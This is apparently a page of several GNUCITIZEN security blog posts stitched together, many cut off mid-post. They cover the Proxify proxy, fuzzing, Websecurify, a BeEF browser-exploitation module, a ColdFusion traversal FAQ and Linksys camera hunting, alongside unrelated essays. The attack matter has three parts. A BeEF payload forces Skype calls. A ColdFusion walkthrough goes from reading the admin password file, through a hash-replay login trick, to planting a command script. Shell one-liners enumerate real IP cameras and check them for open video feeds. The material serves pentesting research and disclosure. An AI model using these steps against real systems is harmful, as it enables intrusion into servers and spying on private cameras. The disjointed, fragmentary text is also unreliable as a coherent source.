What is Proxify

The idea behind Proxify is to create a proxy that is just good at doing proxying. It is the proxy of all proxies so-to-say. Proxify is lightweight, streamlined, concurrent and very efficient proxy utility that is easy to integrate into other tools. There is a good need for such tools because proxies are quite complex and not trivial to write even if you choose to use a high-level language such as Java, Python or Ruby.

This tool is written in C and comes with all dependencies pre-included in the package. This means that it is very portable on all platforms and you do not need any special setup. Having all files in the same folder is just enough to make it run.

Proxify is multithreaded and can in theory make optimal use of multi-cpu environments. The tool is non-buffering which means that it is really fast. It supports WebSockets, WebRTS and other streaming protocols. It fully understands HTTP. It does SSL interception and clones certificates on the fly.

Integration At Its Core

As mentioned earlier, Proxify is great if you need to create a custom proxy application or you want to embed proxy functionalities into your own app. The tool will do all the hard work and you just need to provide a very simple restful HTTP service to do the forwarding of data between the browser and the remote target. The protocol is based on the HTTP proxy specifications with the only difference that you don’t have to support the CONNECT method or do any SSL interception. Additionally, Proxify automatically detects end of streams when certain types of protocols are used. This makes the tool very handy, easy, re-usable technology that can be used in situations when we just want to write simple scripts to da a trivial job without to understand completely how the whole stack works. Everything is pretty much magically handled for you: and there is a lot going on behind the scene.

Other Usages

Proxify can be used for many things. Here is an example of how you will launch the tool to hex dump all the trafic to the screen:

./proxify -p 8080 -x

The output of this command will look like this:

xxxxxx:xxxxx pdp$ xxx/proxify -p 8080 -x
Proxify Version 1.0

Copyright 2013 GNUCITIZEN. All rights reserved.
Commercial use of this software is strictly prohibited.
For commercial options please contact us at http://www.gnucitizen.org/.

[0000]   47 45 54 20 2F 20 48 54   54 50 2F 31 2E 31 0D 0A   GET...HT TP.1.1..
[0000]   55 73 65 72 2D 41 67 65   6E 74 3A 20 63 75 72 6C   User.Age nt..curl
[bfc8]   2F 37 2E 32 37 2E 30 0D   0A 48 6F 73 74 3A 20 77   .7.27.0. .Host..w
[f4c9]   77 77 2E 67 6E 75 63 69   74 69 7A 65 6E 2E 6F 72   ww.gnuci tizen.or
[cea4]   67 0D 0A 41 63 63 65 70   74 3A 20 2A 2F 2A 0D 0A   g..Accep t.......
[609f]   50 72 6F 78 79 2D 43 6F   6E 6E 65 63 74 69 6F 6E   Proxy.Co nnection
[f2e5]   3A 20 4B 65 65 70 2D 41   6C 69 76 65 0D 0A 0D 0A   ..Keep.A live....

If we want to dump all requests and responses into individual files than we can use the following command:

./proxify -p 8080 -D /path/to/folder

This will also capture everything that is streamed as well, which means that you can even record video, audio and whatever is streaming over HTTP. You can mix and match all options for bets result and please check the command flags for more information.

Tool Readiness

Proxify is essentially ready for most use-cases although there are several things which needs to be improved especially around the SSL interception. Please use the tool with caution because it may have memory leaks or even memory corruption bugs. A huge portions of the code is not throughly tested. This is something I am working to improve in the near future. I am also planning to add more options for even better control over the process.

Fair Use

The tool is free! You can use it right away. However, comercial use is strictly prohibited at this stage. If you want to use the tool for comercial purposes, please get in touch to discuss your options.

---
recent posts from the gnucitizen network:

Landing Proxify
Fuzzing XML and JSON Pt.1
You and Your Research
Well Websecurify Runs on The iPhone
Stuxnet

What I would like to do is to highlight some of the work I did to take two relatively simple and straightforward penetration testing practices to the next level: this is XML and JSON fuzzing. If you have worked as a penetration tester or you have been moderately interested in web security you should have encountered a web service written on top of either of these technologies.

Both JSON and XML are slick beasts. They are both structured data containers and rely on well-formatted documents in order to be processed successfully. There is very little room for movement out of the spec and in fact they are both error intolerant. Most parsers will explode even on the tiniest errors in the document structure, such as for example if you leave a comma on the last item of an array inside a JSON structure. The reason I am mentioning this is because this is the basis of the two core fuzzing strategies – as I define them.

The first strategy is to concentrate on finding bugs in the actual parser/processor. In this case we will aim to submit ill-formatted documents and observe for strange behaviour. The types of problems typically discovered through this strategy are memory corruption bugs. The reason for this is because even in 2012 strings are still difficult to deal with and both formats are human-readable and rely heavily on processing text. Even binary input is represented textually.

The second strategy is to concentrate on finding bugs after the document has been parsed/processed. In this case we will aim to submit unexpected input but still stick to the format and the specifications of the document. This strategy is used to discover a lot wider range of bugs depending on how the structured data is used later on inside the application. The types of bugs discovered will depend on the targeted platform, language and all kinds of other things.

Both strategies can be mixed. However, from personal experience, I believe that you will be better off if you don’t because things can get quite confusing and you may not be able to setup all necessary measurement equipment correctly in order to find actual bugs or extract any useful data.

The first strategy I tend to leave it in the realm of research. The reason for this is because there are not that many parsers for both JSON and XML. Each programming language usually offers a few libraries which are widely adopted. Fuzzing these libraries will get us bugs which apply to all applications that make use of them – i.e. research in my opinion. On the other hand, the second strategy is targeted towards specific applications and platforms. And this is what I will mainly concentrate on for the rest of this series of articles.

As I discussed earlier this “second”, so-to-say, strategy is all about sending unexpected input but still keeping the document well formatted. So what is unexpected input? Well unexpected input is everything from very large numbers to very small ones (MIN_INT, MAX_INT, UNSIGNED MAX_INT, LONG, etc). Unexpected input is also logical values such as true and false, the special atom nil, null and 0 and 1. Some other unexpected values could be empty data structures where a value is expected such as when sending empty array but the application expects a number or a string. The list goes on and on and you can spend weeks tuning a fuzzer to find more interesting stuff by incorporating more unexpected input.

It is fair to say that not all unexpected values are equal. Some values are more likely to cause strange behaviour than others and this all depends on the target platform. Let’s take JSON for example. In JSON we have 2 main structured containers: {} – object and [] – array. Now, Java applications typically map/unmarshall JSON structures to classes. Therefore if we have a class which has public member variable "a" of type integer but we send an empty object, an exception will be raised before the input is even processed by the application. This is not quite like that in other programming languages which are not so strictly typed. For example, in PHP the developer may expect an integer but actually the parser will produce an array and while this will cause an error at some point later inside the application it will not immediately explode during parsing. This kind of conditions are very interesting.

So why I am mentioning this? Well, typically a fuzzer will generate a lot of combinations. Some of them may be fruitful. Most of them will be waste of time. However, by knowing what we are up against we can tune the fuzzer to be smarter and as a result of this a lot faster and more fruitful – I rather spend manually analysing 1000 results than 1000000.

I think I am running out of energy. After so many years of silence this post looks quite lengthy. Btw, such fuzzers exist. You can find one as part of the Websecurify Online Suite and you can go ahead and try it for free now. Both JSON and XML are well supported. The reason I am mentioning this is because the rest of the series will concentrate on exploring how these fuzzers work and what kind of vulnerabilities we can find with them.

---
recent posts from the gnucitizen network:

Landing Proxify
Fuzzing XML and JSON Pt.1
You and Your Research
Well Websecurify Runs on The iPhone
Stuxnet

@haroonmeer did an exceptional job at describing what it takes to produce an exceptional piece of work/research and the various pitfalls and sacrifices one needs to make.

---
recent posts from the gnucitizen network:

Landing Proxify
Fuzzing XML and JSON Pt.1
You and Your Research
Well Websecurify Runs on The iPhone
Stuxnet

The testing engine used in this particular version of Websecurify is optimized to run with the least possible amount of memory. The results of the scanner are as good as those produced by all other Websecurify variants although in some cases it may miss some statistically unlikely types of issues. This is not directly and only applicable to the iPhone version. No! Similar tradeoffs are also present even in standard desktop/server based scanners although they are usually less visible and obscured behind tones of options. The bottom line is that the scanner not only runs natively on the iOS but also works as expected.

Now this is exciting! Websecurify is the first in the world mobile web application testing technology.

If you have any suggestions, recommendations or general feedback please do let us know. You can also participate in the beta test program which will allow you to have a play with tool as we are polishing it for the official release.

The possibilities are endless.

---
recent posts from the gnucitizen network:

Landing Proxify
Fuzzing XML and JSON Pt.1
You and Your Research
Well Websecurify Runs on The iPhone
Stuxnet

Wether this is the real deal or simply fear mongering, I simply don’t know. It is all speculations at the moment. The only thing we can say is that it is difficult to deny the fact that computers are important and whoever has control over them has control over people lives and can influence a lot of things including politics.

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recent posts from the gnucitizen network:

Landing Proxify
Fuzzing XML and JSON Pt.1
You and Your Research
Well Websecurify Runs on The iPhone
Stuxnet

After having met Wade Alcorn (the initial author and project lead of BeEF), Christian mentioned his interest in helping out on the project where he could, which eventually led to Wade accepting his offer. The discussion was held over a couple of bottles of wine, so perhaps Wade’s regretting the decision now!

Christian’s role within the BeEF project, if it were to be defined, is odd-jobs-go-to-boy, command-module implementer, Ext-JS-fighter and twitter maintainer. When Christian is not working on BeEF, he’s doing his best to represent the Perth OWASP Chapter, or laying down crunchy beats on the drum-kit.

What follows are Chritian’s words on the BeEF project.

Sorry vegetarians, but BeEF is back. That’s right, the Browser Exploitation Framework is back, and it has now been rewritten from the ground up in Ruby. For those unfortunate people who haven’t had a chance to explore the older, PHP version of BeEF you’re only missing out on one of the greatest, most extensible XSS-payload management and exploitation frameworks out there, and the Ruby re-write is no different.

The Browser Exploitation Framework (BeEF) is a powerful, professional security tool. BeEF is pioneering techniques that provide the experienced penetration tester with practical client side attack vectors. Unlike other security frameworks, BeEF focuses on leveraging browser vulnerabilities to assess the security posture of a target.

One of the newer modules implemented in BeEF utilises the insecure handling of URL schemes in Apple’s iOS to trick Skype into starting an outbound call. This vulnerability was first written about by Nitesh Dhanjani and highlights that with the growing popularity of these devices these sorts of issues may lead to losses of information or other negative impacting events. The module itself is as simple as:

beef.execute(function() {
   document.body.innerHTML = "<iframe src=skype:<%= @tel_num
%>?call></iframe>";

   beef.net.sendback("<%= @command_url %>", <%= @command_id %>,
"result=IFrame Created!");
});

which, once added to a particular hooked browsers command queue will simply execute upon next poll, and if they automatically authenticate to the Skype application, will initiate a call. Due to iOS’ multi-tasking the Skype app does pop up to the top, so the end user is aware that the activity is occurring, but they’re not prompted to “confirm” the action. You can see this module demonstrated bellow:

The current release is 0.4.2.1-alpha, but by release 0.5 (the Sirloin Release) we’re expecting to have at least all of the PHP BeEF functionality provided plus much more, including:

1. jQuery included as part of the hooking process
2. Metasploit integration
3. Evercookie’s for persistence even after a hooked browser has been closed
4. full event logging, not just keystroke logging, to include window activation/deactivation, mouse clicks, etc
5. arbitrary HTTP requester
6. proxying
7. persistence modules (subtle popups or 100%x100% iframes)
8. detecting of social networking authentication status (as per this)

You can find out more about beef over at http://beef.googlecode.com or by following the @beefproject.

BeEF – Get it into ya!

---
recent posts from the gnucitizen network:

Landing Proxify
Fuzzing XML and JSON Pt.1
You and Your Research
Well Websecurify Runs on The iPhone
Stuxnet

The obvious choice of technology is Java. Great stuff!

---
recent posts from the gnucitizen network:

Landing Proxify
Fuzzing XML and JSON Pt.1
You and Your Research
Well Websecurify Runs on The iPhone
Stuxnet

The FAQ

Finally, by producing this FAQ I will attempt to explain why (at least on certain setups) this vulnerability should have been granted a CRITICAL rating by Adobe, rather than Important. As we’ll see bellow, it is possible to fully compromise the underlying OS of a vulnerable ColdFusion server by exploiting this directory traversal vulnerability.

How does the vulnerability work?

The vulnerability is a variation of a classic directory traversal vulnerability, also referred to as arbitrary file retrieval. The attack involves tricking a server-side script to provide the contents of a file that it was not originally supposed to be made available. By moving up a few directory levels, the attacker is able to obtain the contents of files outside the application server’s webroot via special strings such as ../. More information can be found on the OWASP website.

Is authentication required to exploit this vulnerability?

NO. The attacker doesn’t require knowledge of any passwords in order to exploit the directory traversal bug.

What’s the goal of the attacker when exploiting this vulnerability?

Just as any other type of directory traversal vulnerability, the attacker would usually attempt to obtain source code of the target site in order to identify security vulneraibilities. Additionally, the attacker would most likely attempt to obtain configuration files containing sensitive information. For instance, in the case of ColdFusion the attacker would most likely attempt to read the contents of neo-security.xml and password.properties. These configuration files contain database connection credentials and the ColdFusion administrator password respectively. Depending on how password.properties has been setup, the ColdFusion admin password will be hashed or stored in clear-text (encrypted=false).

What’s the worst that could happen once this vulnerability has been exploited successfully?

As we’ll see at the end of this post, once the attacker has gained access to the CF admin console – e.g.: by cracking the admin password – it might be possible to fully compromise the underlying OS.

How can the vulnerability be resolved?

You can either apply Adobe’s patch or restrict access to the following directories and file from trusted IP addresses only: /CFIDE/adminapi/ /CFIDE/administrator/ /CFIDE/componentutils/ /CFIDE/wizards/ /CFIDE/install.cfm

What are the mitigating factors?

This vulnerability cannot be exploited on ColdFusion 9.X when default settings are used, unless of course you figure out a way to get around the directory traversal signatures used by the filtering routines. Additionally, the ColdFusion administrator login console must be available to the attacker. It is however quite common to find CF admin consoles directly available on the Internet.

If a long and sufficiently random admin password is used, cracking the SHA1 hash could prove to be difficult. This is applicable to CF MX7, 8 and 9 (see UPDATE notes). Version 6 doesn’t hash the password, but instead encrypts it using a proprietary algorithm.

What versions of ColdFusion are affected?

According to the Adobe bulletin the affected versions are ColdFusion 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions for Windows, Macintosh and UNIX. However, due to time constraints I have only personally confirmed the vulnerability on version 8.0.1 under Windows.

Can you provide the actual exploit?

No. ProCheckUp will provide the exploit details at a later date. Although Richard Brain privately shared POC URLs with me, I will not make them available. Exploit details were only provided to me as a trusted security analyst for purpose of assessing the impact of the vulnerability and help me write this FAQ in the hope that it will benefit the community.

UPDATE: the exploit details were published by an anonymous researcher on 14/08/2010, probably worked out by reverse-engineering Adobe’s patches. ProCheckUp has also released the exploit details as of 17/08/2010.

Can you describe a real attack scenario?

The following a real attack scenario against ColdFusion 8 on a Windows server:

1. Attacker confirms ColdFusion admin console is Internet facing. E.g. http://target-domain.foo/CFIDE/administrator/index.cfm
2. Attacker exploits directory traversal vulnerability and obtains the contents of C:\ColdFusion8\lib\password.properties, which contains the ColdFusion admin password
   
3. If the admin password was stored encrypted (actually CF8 hashes the admin password using the SHA1 algorithm, similar to CF MX7), the attacker then attempts to crack it via an offline password cracking attack or rainbow table lookup. Note that the default setting in ColdFusion 8 is encrypted=true as per password.properties file. Otherwise, if the password is stored unencrypted (encrypted=false), there would be no need for password cracking.
4. UPDATE: as suggested by Niels Teusink, an attacker could login as the CF administrator without needing to crack the SHA1 hash. I verified his observation and can confirm it works well. You can follow these steps (tested on Firefox 3.6.8) to login using the SHA1 hash. i.e.: no need to crack the password hash:
   1. Configure your favorite MITM proxy – e.g. Burp – to capture traffic between your browser and target CF admin console
   2. Enter hash in password field of login form (usually located on /CFIDE/administrator/enter.cfm)
   3. Type the following on your browser’s address bar and press enter (make sure JavaScript is enabled on your browser): javascript:hex_hmac_sha1(document.loginform.salt.value,document.loginform.cfadminPassword.value)
   4. Record value. e.g. AFA9C9D917916DE6CE05C1BFEC0470E07A246CB0
   5. Press browser’s Back button
   6. Press Login on the login form (trapping/intercept mode should be enabled on your MITM proxy at this point)
   7. Trap the login request and replace the value of the cfadminPassword parameter with the value recorded above
   8. Forward request
5. At this point, the attacker would be able to login as a CF admin and upload a malicious CFM script that would allow him to run remote commands (SYSTEM privileges by default). Uploading files to a CF server via the administrator console is a bit counter-intuitive. The attacker would basically add a scheduled task that would download cfexec.cfm to the server’s webroot
   
6. At this point, the attacker has gained full control of the underlying Windows OS as the CF service runs with SYSTEM privileges by default
   

If the CF admin password is hashed and the attacker is unable to crack it, he could always try to obtain the database connection credentials (C:\ColdFusion8\lib\neo-datasource.xml) which can be easily decrypted and then directly authenticate to the backend DB server. This however wouldn’t normally be possible on a firewalled environment where the back-end DB server is not directly exposed to the Internet. Network access controls are your friends!

Post Updates

• 16/09/2010 – new path added as part of blacklisting solution
• 16/09/2010 – added trick to login without cracking the CF admin password hash
• 16/09/2010 – mentioned recently published exploit code for the CF traversal vulnerability
• 18/09/2010 – fixed typos and mentioned release of exploit details by ProCheckUp

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recent posts from the gnucitizen network:

Landing Proxify
Fuzzing XML and JSON Pt.1
You and Your Research
Well Websecurify Runs on The iPhone
Stuxnet

HITB aims to congregate members of the security community from all circles. From academics, and well known infosec personalities to loner-type independent researchers, and hobbyists just to name a few. I’ve personally attended past editions in Kuala Lumpur and Dubai and loved that the attendees and speakers came from a wide variety of backgrounds. If you don’t believe me, check out the pix of past conferences and you’ll find sec nerds and corporate professionals all partying in unison. Indeed, the HITB conferences are not only educational, but among the most fun sec events I’ve had the chance to attend.

Registration is still open, so you are still on time to take advantage of a great speaker lineup and one of the _de facto_ party capitals of Europe. The conference agenda can be found here. I’m really looking forward to Niels Teusink’s presentation on hacking Logitech wireless presenters and the release of detailed examples of JIT-spray techniques against IE8, FF3.6 by Alexey Sintsov (originally discussed by Dion Blazakis).

One more thing, almost forgot: there will be a bring-your-own-laptop web hacking challenge at HITB EU.

See you at HITB Amsterdam next month!

---
recent posts from the gnucitizen network:

Landing Proxify
Fuzzing XML and JSON Pt.1
You and Your Research
Well Websecurify Runs on The iPhone
Stuxnet

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recent posts from the gnucitizen network:

Landing Proxify
Fuzzing XML and JSON Pt.1
You and Your Research
Well Websecurify Runs on The iPhone
Stuxnet

In summary the secret of success according to Jerry Rice is the following:

• Put effort
• You will have to struggle
• Persist despite the setbacks
• Strategize and make your choices
• Choose difficult tasks
• Keep learning and trying to improve

According to Carol Dweck’s research (read MindSet) success in nutshell is all about in the trying and the doing. Apart from the putting effort and to keep learning, Carol Dweck also suggests that another success ingredient is to capitalise on mistakes and to comfront deficiencies as they allow you to learn more

At the end of the day it is down to what works for you. There isn’t universal truth.

---
recent posts from the gnucitizen network:

Landing Proxify
Fuzzing XML and JSON Pt.1
You and Your Research
Well Websecurify Runs on The iPhone
Stuxnet

---
recent posts from the gnucitizen network:

Landing Proxify
Fuzzing XML and JSON Pt.1
You and Your Research
Well Websecurify Runs on The iPhone
Stuxnet

As we know, there are several ways one could go about hunting for IP cameras on the net. The slowest way would be to portscan random IP addresses for certain ports and programmatically detect if the web interface of a given camera was available on the open ports found. This method definitely works, but it can be very time consuming as it consists of scanning random IP addresses hoping that we’ll eventually come across the type of device we’re interested in.

The second method, which would be much faster in finding our target devices, would be to use a search engine and query content that is unique to our target devices (e.g.: URLs, HTML title). This method, popularized by GHDB is simple and effective. The only issue I find with this strategy is that many of these IP cameras found happen to respond very slowly. This is probably due to other curious individuals running the same searches and accessing the same cameras.

The third method which would allow you to find more hidden Linksys IP cameras (i.e.: not cached by search engines a.k.a. the hidden web), would consist of bruteforcing subdomains within dynamic domain names (DDNS) used by our target devices (Linksys IP cameras in this case). For instance, the following are some of the dynamic domain names supported by the WVC54GCA and WVC80N Linksys IP camera models:

• linksys-cam.com
• mylinksyscamera.com
• mylinksyshome.com
• mylinksyscam.com
• mylinksysview.com
• linksysremotecam.com
• linksysremoteview.com
• linksyshomemonitor.com

Camera discovery process through subdomain bruteforcing

We first save the aforementioned domains in a file, doms in this case. Then we use dnsmap to bruteforce subdomains for each of the domains included in doms.

Using dnsmap’s built-in wordlist:

$ for i in `cat doms`;do dnsmap $i -r ~/ -i 64.14.13.199,216.39.81.84&done;

Using a user-supplied wordlist, wordlist_TLAs.txt in this case, which is a three-letter acronym wordlist included with dnsmap v0.30:

$ for i in `cat doms`;do dnsmap $i -w wordlist_TLAs.txt -r ~/ -i 64.14.13.199,216.39.81.84&done;

Note: dnsmap’s -i option allows ignoring user-supplied IP addresses from the results. In this case, 64.14.13.199 and 216.39.81.84 belong to the DDNS service provider, and would therefore be regarded as false positives in this case (we’re only interested in IP cameras setup by their respective owners after all). For more info on how to use dnsmap, checkout the README file.

We then parse the IP addresses of the subdomains discovered by dnsmap:

$ grep \# dnsmap*.txt | awk '{print $4}' | sort | uniq > ips.txt

Next, we scan for ports that could potentially be used by a Linksys IP camera web server. In this case, we choose TCP ports 80, 1024 and 1025 as candidates:

$ sudo nmap -v -T4 -n -P0 -sS -p80,1024,1025 -iL ips.txt -oA nmap_http_ports.`date +%Y-%m-%d-%H%M%S`

This leaves us with a lot of discovered services, but we don't quite yet know which of them correspond to actual Linksys IP cameras web interfaces. There are many ways to fingreprint the web server of a Linksys IP camera. In this case we chose to create our own amap response signature, and then scan the open ports with amap.

Before amap is capable of identifying our target Linksys IP cams, the following response signature needs to be added to appdefs.resp, and amap then needs to be recompiled. Otherwise amap won't take the new signature into account:

http-linksys-cam::tcp::^HTTP/.*\nServer: thttpd/.*Accept-Ranges: bytes.*WVC

Please note that the previous amap response signature was only tested against the WVC54GCA and WVC80N Linksys IP camera models. So I'm not sure if it will work against other models. You've been warned!

Once recompiled, amap can be used to identify Linksys IP cameras from nmap's open ports results.

$ amap -i nmap_http_ports.2010-02-22-102001.gnmap -R -S -o amap_results.`date +%Y-%m-%d-%H%M%S`

We finally parse the IP addresses and open ports for all discovered Linksys IP cameras:

$ grep http-linksys-cam amap_results.2010-02-22-102253 | awk '{print $3}' | cut -d \/ -f1
x.x.167.245:1024
x.x.228.231:1025
x.x.228.231:80
x.x.64.22:80
x.x.206.70:1024
x.x.31.4:1024
x.x.164.28:1024
[snip]

At this point we have accomplished the task of creating a list of Linksys IP cameras without resorting to search engines or scanning random IP addresses. In order to discover more Linksys cameras, a more comprehensive wordlist would need to be used with dnsmap.

Of course, even further automation would be possible. For instance, an attacker may wish to programmatically identify which Linksys cameras from the previous list allowing video viewing to unauthenticated users:

$ amapfile=amap_results.2010-02-22-102253;for i in `grep http-linksys-cam $amapfile | awk '{print $3}' | cut -d \/ -f1`;do url="http://$i/img/main.cgi?next_file=main.htm";if curl --connect-timeout 2 -s -I --url $url | grep ^"HTTP/1.1 501">/dev/null;then echo $url;fi;done;
x.x.206.70:1024/img/main.cgi?next_file=main.htm
x.x.105.221:1024/img/main.cgi?next_file=main.htm
x.x.105.221:80/img/main.cgi?next_file=main.htm
x.x.181.195:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1025/img/main.cgi?next_file=main.htm
x.x.30.196:1025/img/main.cgi?next_file=main.htm
[snip]

In addition to automatically checking for anonymous video viewing on all cameras found, other tasks such as checking for default credentials (admin/admin) could also be scripted, although this will NOT be included in this post (or any other at GNUCITIZEN).

---
recent posts from the gnucitizen network:

Landing Proxify
Fuzzing XML and JSON Pt.1
You and Your Research
Well Websecurify Runs on The iPhone
Stuxnet

New Features

Anyways, the following are some of the new features included:

• IPv6 support
• Makefile included
• delay option (-d) added. This is useful in cases where dnsmap is killing your bandwidth
• ignore IPs option (-i) added. This allows ignoring user-supplied IPs from the results. Useful for domains which cause dnsmap to produce false positives
• changes made to make dnsmap compatible with OpenDNS
• disclosure of internal IP addresses (RFC 1918) are reported
• updated built-in wordlist
• included a standalone three-letter acronym (TLA) subdomains wordlist
• domains susceptible to same site scripting are reported
• completion time is now displayed to the user
• mechanism to attempt to bruteforce wildcard-enabled domains
• unique filename containing timestamp is now created when no specific output filename is supplied by user
• various minor bugs fixed

For those who have never used dnsmap, dnsmap is a command line tool originally released in 2006 which helps discover target subdomains and IP ranges during the initial stages of an infrastructure pentest. dnsmap is a passive(ish) discovery tool meant to be used before an actual active attack. It’s an alternative to other discovery techniques such as whois lookups, scanning large IP ranges, etc … Run dnsmap and you should be able spot netblocks of a target organization in a relatively short period of time.

Dnsmap is open source and is known to work on Linux, FreeBSD and Windows using Cygwin, although it has mostly been tested on Linux.

The major drawback is lack of multi-threading support, which I’m hoping will be included in the next public release. Life is busy these days, but I’ll try to spend some time on this project when time allows and inspiration is available!

---
recent posts from the gnucitizen network:

Landing Proxify
Fuzzing XML and JSON Pt.1
You and Your Research
Well Websecurify Runs on The iPhone
Stuxnet

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Although some of the feature look like a full copy of google maps, it nice to see that MS made the effort to go further to do more.

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Stuxnet

Pixar is truly remarkable company and there is a lot one can learn from them.

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You and Your Research
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Stuxnet

Some interesting stuff!

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Landing Proxify
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You and Your Research
Well Websecurify Runs on The iPhone
Stuxnet

I often hear about success stories where the direct cause for the success is someone’s hard work and persistence. Although in my mind persistence is important, it seems that hard work is seriously overrated according to the founders of Flickr and a bunch of neuroscientists, as reported here and here. Now, this is an idea I fully support.

Here is what Caterina Fake has to say about working hard:

We agreed that a lot of what we then considered “working hard” was actually “freaking out”. Freaking out included panicking, working on things just to be working on something, not knowing what we were doing, fearing failure, worrying about things we needn’t have worried about, thinking about fund raising rather than product building, building too many features, getting distracted by competitors, being at the office since just being there seemed productive even if it wasn’t – and other time-consuming activities.

Much more important than working hard is knowing how to find the right thing to work on. Paying attention to what is going on in the world. Seeing patterns. Seeing things as they are rather than how you want them to be. Being able to read what people want. Putting yourself in the right place where information is flowing freely and interesting new juxtapositions can be seen. But you can save yourself a lot of time by working on the right thing. Working hard, even, if that’s what you like to do.

There are a few interesting things we can draw from Caterina’s experience. I’ve organised them in bullet points to be processed easily when it is needed and also added a few things on this subject I found out on my own. So here is the list.

How to Avoid Working Hard

1. Find the right thing to work on.
2. Pay attention to what is going on in the world.
3. Look for patterns.
4. See things as they are rather than how you want them to be.
5. Read what people want.
6. Put yourself in the right place where information is flowing freely and interesting new juxtapositions can be seen.
7. Never, ever work for work’s sake.
8. Even when you need to work hard, take a 10 minutes break every 40 minutes.
9. Take it easy.
10. Keep it simple.

I know for a fact that these things may sound like nonsense to some of you but there is some truth in them if you choose to embrace this kind of lifestyle.

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I successfully tested them on version 1.1, and according to Avaya this is the latest vulnerable version (version 2.0 is NOT affected apparently).

These vulnerabilities, although cool, are not critical since you need to be logged into the interface in order to exploit them. That being said, it could be handy for bypassing restricting imposed by the web GUI and eventually escalate privileges.

Apart from that, there were also the usual client-side bugs such as XSS and CSRF which are usually expected of an appliance with a web interface.

Details can be found on the attached PDF document.

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Last Wednesday (09/09/2009) Derren Brown predicted, or at least he made us to believe that he did, five numbers from the lottery draw aired on BBC. For those of you who have no clue what I am talking about, here is a video footage from the show.

How did he do it? I was eager to find out but since he promised to reveal the secret the following Friday, I retained myself from making any guesses until I see the show on TV first. His explanation is out now and as I thought things do not add up as nicely as I would like.

So here is what I think is possible and what is not. Let’s lay out some facts:

1. You cannot predict a relatively random sequence of numbers – unless it is not random at all. Any claims and proof that the lottery is predictable will make the draw automatically invalid. Not random means that it is fixed. It also means that it is unfair.
2. The lottery draw is NOT invalid – and therefore it wasn’t predicted as he tried to made us to believe. Derren did get an approval from Camelot to do the show and they were completely aware of what he was up to. Camelot knew that the draw cannot be invalidated because Derren did not and could not get the winning numbers, which leads us to the obvious conclusion that it is only an illusion.
3. Even if the lottery can be predicted due to being not random, it is very unlikely that Derren has access to resources that can give him the ability to predict the numbers. Think about all technical aspects required to perform a one time guess of something that is the end result of many system properties and variables which are influenced by all kinds of internal and external processes.

The most likely explanation of the trick is usually the most obvious one. The most obvious explanation is that this is a live video montage. Why? Well, why didn’t he do the draw live on stage but inside a studio? The reason for this is because he cannot guess the winning numbers. Only a studio with fixed lighting and scene will let him to create the illusion.

Another peculiar thing about this act is that he essentially gives deliberate hints on exactly how everything works in reality. At the beginning of the show where the trick was explained, he starts by presenting to the audience 3 possible options he could have employed in order to pull off this trick. Here they are:

1. Fake a ticket
2. Genuinely guess the winning numbers
3. Fix the machine

The funny thing is how he disregards the first and most obvious solution by suggesting that it is too obvious and uninteresting and therefore it should be ignored. He quickly moves on on the second possible solution. Now this is basically 99% of the entire show. It is extremely convoluted and full of pseudoscience of all sorts. The last possible solution is of course not possible at all since this will undoubtedly land him in jail, nevertheless he spends a couple of minutes on it at the end of the show to force us to thinker between options 2 and 3 and completely ignore option 1. He is a mentalist after all.

Derren Brown is a magician at the end of the day. The power is not in the trick but in the magician being able to produce an image of something magical happening.

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On 5th of July 2009, the GNUCITIZEN team and friends came together to perform a skydiving gig. It has been two months since that day but memories are still as clear as yesterday.

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These tools are not unfamiliar to modern day penetration testers. In fact, there are plenty of them to choose from, ranging from low-grade command line utilities to high-end frameworks. There are plenty of commercial tools as well some of which are a lot better, in terms of features and false-positives rate, when compared to open source alternatives. People often choose what they are more familiar with. I prefer to use tools that are right for the job without discriminating a particular operating system, platform, and style.

Without further ado, I would like to introduce to you yet another tool to compete in the market of automated web application security scanners (not only), released as part of our own Websecurify initiative. The tools is called Websecurify (big surprise) and it is written on the top of common web technologies, which provide significant benefit over other technologies used in open source and commercial alternative products.

Here are some of the key features of Websecurify:

1. It is 100% open source, GPL, CC product, ready to benefit the open source movement
2. The engine employs technologies, such as Web Workers, from the latest HTML5 specs
3. Most of the code is written in JavaScript but many parts can be rewritten or extended with Python, Java and C
4. The core engine can be taken out from the binary bundles and used as part of self-defending web applications. I will talk about this soon.
5. The testing and reporting mechanisms are asynchronous. This means that the report is cooking while the test is performed. It also means that decisions are taken immediately, i.e. they are not scheduled.
6. The tool is cross-platformed thanks to xulrunner
7. Everything is written with extensibility in mind
8. It can be extended in pretty much the same way you can extend Firefox and Thunderbird

There are many other features, which I am going to talk about soon.

At the moment the tool is only available as a MacOS DMG package and source code. The Windows and Linux versions will be released soon. In the future we are planning release all platform specific packages at the same time. Now is just an exception as we are mostly interested to get an early feedback. I am sure that that there will be a lot of bugs to fix and features to add/improve before we reach version 1.0.

Version 0.2 can be downloaded from www.websecurify.com or our source code repository.

If you have any feedback or you would like to contribute to this project, please do let us know. We can use any help possible.

---
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I’ve been researching, pentesting, and preparing two different presentations which I gave at CONFidence in Krakow, and EUSecWest in London. pdp has also been busy presenting at AusCERT2009. In his Weaponry 2.0, pdp talked about current challenges experienced by pentesters, shared some of his experiments (i.e.: using QEMU) and introduced his Jeriko pentesting environment (NOT framework!).

My CONFidence presentation was on PCI DSS, and credit card theft from a pentester’s perspective. I attempted to explain why it’s possible for unsophisticated criminals to compromise credit card data. I also shared my frustrations with the PCI DSS standards, including some of its current weaknesses.

On the other hand, my EUSecWest presentation was on attacking magstripes gift cards, which apppear to be on the rise in the UK. The core of the research is about cloning (activated) gift cards without physically swiping the magnetic stripes. Trust me when I say that there is a lot of truth on Drago’s tweet regarding this research! My EUSecWest slides have just been recently published. More details will soon be available on a white paper which will be available on Corsaire Research website.

Thanks

I’d like to thank the organizers of these two great conferences, namely Andrzej Targosz from CONFidence and Dragos Ruiu from EUSecWest (plus their respective crews of course).

Also, special thanks to Corsaire who sponsored the time needed to prepare my presentation. I originally started my magstripe gift cards research about 3 years ago, but left it unattended for so long. If it wasn’t for Corsaire, this research wouldn’t have been resumed.

Finally, but not least, thanks to everyone who helped me prepare my presentations such as Jan Fry, Amir Azam, pavlovs_dog, Monsy Carlo, etc.

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All the documentation you need is in the script comments. I recommend you to go through it, before you actually run the script.

After reading the public advisory and patched code, and playing around for a while, I managed to have a working PoC bash script. The script will allow you to remotely run shell commands and PHP code against vulnerable targets. Although in principle the vulnerability sounds quite simple, it actually took me a while to go from advisory to working attack code.

